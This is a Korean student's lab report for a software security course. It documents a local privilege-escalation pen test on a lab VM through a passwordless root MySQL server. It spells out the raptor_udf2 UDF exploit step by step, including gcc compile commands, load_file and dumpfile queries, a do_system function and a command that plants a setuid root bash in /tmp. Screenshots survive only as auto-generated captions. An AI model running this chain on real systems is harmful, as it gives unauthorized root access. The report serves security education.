**REPORT**

**** **2번 과제: [Pen test: 소프트웨어 취약점을 이용한 권한상승]**

**과 목 명 : SW 보안개론 1분반**

**담당교수 : 조성제교수님**

**학 과 : 소프트웨어학과**

**학 번 : 32200327**

**이 름 : 김경민**

**제 출 일 : 2022.05.23**

Discovery

LSE script를 도구를 사용해 VM의 취약한 요소를 확인한다.

LSE script는 리눅스 시스템의 보안에 대한 관련 정보를 표시해주는 스크립트 도구로 default/level1/level2 에 따라 정보의 양의 제어하여 취약 정보를 확인할 수 있다.

이번 실습의 경우 시스템에 내장되어 있는 script 파일을 바로 실행하고, level1 수준에서 스크립트를실행 시켜 권한상승에 도움이 되는 정보들을 List-up 해준다.

텍스트이(가) 표시된 사진

자동 생성된 설명

텍스트이(가) 표시된 사진

자동 생성된 설명

텍스트이(가) 표시된 사진

자동 생성된 설명

* 위 사진과 같이 스크립트를 실행시켜 줬을 때, user/software/processes 등 각각에 대한 취약 요소를 확인할 수 있는데 그 중 software와 processes 부분을 확인한 결과 password 없이 mysql에 접근할 수 가 있고, mysql은 root 권한으로 동작한다는 사실도 알 수 있었다.

텍스트, 전자기기, 스크린샷, 디스플레이이(가) 표시된 사진

자동 생성된 설명

* 또한 ps aux | grep ‘sqld’ 명령어를 사용해 sqld의 프로세스를 검색해 보아도 mysqld의 user가 root 라는 것을 확인할 수 있었다.
* 따라서 나 또한 password를 모르더라도 mysql에 접근할 수 있고, 접근한 mysql에서 어떤 취약한 부분을 이용해 특정 쿼리를 작성한다면 mysql을 통해 바로 root 권한을 획득하여 권한 상승을 시도해볼 수 있다는 것을 유추할 수 있었다.

Attack

Exploit database에 들어가면 위에서 찾은 나의 MySQL 서버 버전의 취약점에 대해 찾을 수 있다. 그리고 raptor\_udf2.c 라는 exploite code 파일이 제공되는데 이 파일을 통해 해당 취약점을 발생시켜 pen test 를 진행할 수 있는 것이다.

이번 실습에서는 시스템에 이미 저장되어 있는 해당 raptor\_udf2.c 코드를 컴파일 하여 실행시키는 것으로 attack을 진행한다.

텍스트, 스크린샷, 전자기기, 컴퓨터이(가) 표시된 사진

자동 생성된 설명

텍스트, 스크린샷, 전자기기, 컴퓨터이(가) 표시된 사진

자동 생성된 설명

**gcc -g -c raptor\_udf2.c -fPIC**

**gcc -g -shared -Wl, -soname,raptor\_udf2.so -o raptor\_udf2.so raptor\_udf2.o -lc**

* 먼저 .c 코드를 컴파일해 주는데 -c 옵션을 사용해 오브젝트 파일을 생성한다.
* -fPIC 옵션은 독립적인 코드를 생성해준다.
* 2번째 컴파일 코드는 두개의 오브젝트를 하나의 라이브러리로 통합하는 과정인데 raptor\_udf2.so 와 raptor\_udf2.o 를 하나의 공유 라이브러리를 상용해 링크 한다.

텍스트, 스크린샷, 전자기기, 컴퓨터이(가) 표시된 사진

자동 생성된 설명

텍스트이(가) 표시된 사진

자동 생성된 설명

**mysql -u root**

* 패스워드 없이 root 계정으로 MySQL을 실행할 수 있다.

**show databases;**

**use mysql;**

* 현재 생성되어 있는 데이터베이스를 모두 열람한 후, mysql 데이터베이스를 사용한다.



텍스트이(가) 표시된 사진

자동 생성된 설명

**create table foo(line blob);**

**insert into foo values(load\_file(‘/home/user/tools/mysql-udf/raptor\_udf2.so’));**

* foo라는 table을 생성하고 해당 table에 아까 컴파일 했던 exploit 파일인 raptor\_udf2.so 파일을 넣어준다.

텍스트이(가) 표시된 사진

자동 생성된 설명

* foo table의 내용을 확인하는 과정

텍스트이(가) 표시된 사진

자동 생성된 설명

**select \* from foo into dumpfile ‘/usr/lib/mysql/plugin/raptor\_udf2.so’;**

**create function do\_system returns integer soname ‘raptor\_udf2.so’;**

**select \* from mysql.func;**

* foo table에 있는 모든 것들을 다른 디렉토리로 dump 해준 후, exploit code인 raptor\_udf2를 호출하는 사용자 지정 한수 do\_system를 만든다.
* 마지막 쿼리는 내가 생성한 do\_system 함수 생성이 성공적으로 되었음을 보여준다.

텍스트, 스크린샷, 화면, 검은색이(가) 표시된 사진

자동 생성된 설명

위에서 작성했던 쿼리와 raptor\_udf2.c 코드를 함께 분석했을 때, 사용자 정의 함수로 생성한 do\_system 함수는 raptor\_udf2.c의 do\_system 함수를 호출하고, 이때 함께 전달해준 매개변수를 사용해 함수 내부에서 system()을 호출하는 것으로 생각된다. System()는 command 명령어를 실행해주는 함수로 예를 들어 args->args[0] 이 ls 이면 현재 디렉토리의 파일들을 보여주는 명령을 수행한다.

따라서 마지막 쿼리문인

**select do\_system(‘cp /bin/bash /tmp/rootbash; chmod+s /tmp/rootbash’);**

를 수행하면 /bin/bash 파일을 /tmp/rootbash로 copy하는 동작이 수행되고, 이때

/tmp/rootbash 의 권한 명령을 chomd+s 로 부여해준다. +s는 setuid와 setgid, 즉, User 와 Group에게 실행 가능 권한을(excurable) 주는 것인데 copy한 /bin/bash 가 root 권한으로 실행되는 shell과 관련된 디렉토리 이므로 결국이후 데이터베이스를 빠져나와 /tmp/rootbash 에 -p 옵션을 함께 사용하면 똑같이 root 권한으로 실행되는 shell을 얻을 수 있는 것이다.

텍스트, 모니터, 전자기기, 스크린샷이(가) 표시된 사진

자동 생성된 설명

[Reference]

[리눅스 공유라이브러리(동적 라이브러리) 만들어 쓰기 : 네이버 블로그 (naver.com)](https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=ygszzang11&logNo=50179150466)

<https://computersource.tistory.com/67>